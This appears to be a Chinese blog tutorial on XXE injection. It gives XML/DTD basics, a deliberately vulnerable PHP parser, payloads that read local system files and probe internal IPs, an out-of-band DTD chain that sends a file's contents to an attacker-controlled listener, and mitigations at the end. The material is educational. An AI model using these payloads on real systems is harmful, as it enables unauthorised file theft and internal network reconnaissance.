从零开始学习XXE

学就学懂,不能似懂非懂。——《日常》

1 XML

1.1 特点

可扩展标记语言(eXtensible Markup Language);
传输、存储数据,和json类似;
XML是不作为的,用来结构化数据,其焦点是数据的内容;
HTML用来显示数据,其焦点是数据的外观。

1.2 XML基本结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素、属性、实体等。
实体是用来定义普通文本的变量。实体引用是对实体的引用
PCDATA 的意思是被解析的字符数据(parsed character data),是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA是字符数据(character data)。CDATA 是不会被解析器解析的文本。

1.3 DTD文档定义

1、内部声明

1
2
<!DOCTYPE 根元素 [元素声明]>
ex: <!DOCTYOE test any>


2、外部声明
当引用的是一个本地文件,用“SYSTEM”标识;当引用的是一个公共文件的时候,采用“PUBLIC”标识(暂不考虑此种情况)。

1
2
<!DOCTYPE 根元素 SYSTEM "文件名">
ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

1.4 四种实体声明

1、内部实体声明

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT test AA >
<!ENTITY xxe "Hello">]>
<note>
<test>&xxe;</test>
</note>

2、外部实体声明

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT test AA >
<!ENTITY xxe SYSTEM "test.dtd">]>
<note>
<test>&xxe;</test>
</note>

上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。
3、参数实体声明
只能在DTD中使用,引用实体的方式:%实体名;

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT test AA >
<!ENTITY % xxe SYSTEM "http://www.666.com/test.dtd">
%xxe;
]>

4、公共实体声明(忽略)

2 XXE

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

触发点是上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。
是利用了DTD引用外部实体导致的漏洞。

2.1 漏洞复现1(有回显)

只是编写获取XML文件并解析这段php代码就花了很长时间了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//顾名思义,值为True时表示禁用外部实体。可用于安全防护
libxml_disable_entity_loader(false);
//获取POST来的数据
$xmlfile = file_get_contents('php://input');
//使用DomDocument解析XML
$dom = DOMDocument::loadXML($xmlfile);

/*也可使用以下代码
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
*/

//simplexml_import_dom()函数把DOM节点转换为SimpleXMLElement对象。
$creds = simplexml_import_dom($dom);
echo $creds;
?>

1、读取本地文件
如图利用burpsuite抓包修改请求方式,新增POST的数据为:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>


2、内网ip探测

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.209.152"> ]>
<creds>&goodies;</creds>



根据响应时间长短以及返回包判断ip是否存在。更多利用方式参考这篇

2.2 漏洞复现1(无回显)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//顾名思义,值为True时表示禁用外部实体。可用于安全防护
libxml_disable_entity_loader(false);
//获取POST来的数据
$xmlfile = file_get_contents('php://input');
//使用DomDocument解析XML
$dom = DOMDocument::loadXML($xmlfile);

/*也可使用以下代码
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
*/
?>

1、带外通道获取数据

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "192.168.1.169:8000/evil.dtd">
%remote;%int;%send;
]>

evil2.dtd的内容:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.209.152:9999?p=%file;'>">



152的机器为监听机,169的为存放dtd的跳板机。

3 漏洞挖掘以及修复建议

3.1 如何挖掘此类漏洞

XML文件交互的地方居多,有时间的话单独另外总结一下。

3.2 防御:

1.使用开发语言提供的禁用外部实体的方法

PHP:libxml_disable_entity_loader(True);
Java:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
Python:from lxml import etree xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

2.过滤用户提供的XML数据
过滤关键字:<! DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
3.不允许XML中含有自己定义的DTD

4 参考链接

XXE漏洞原理

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×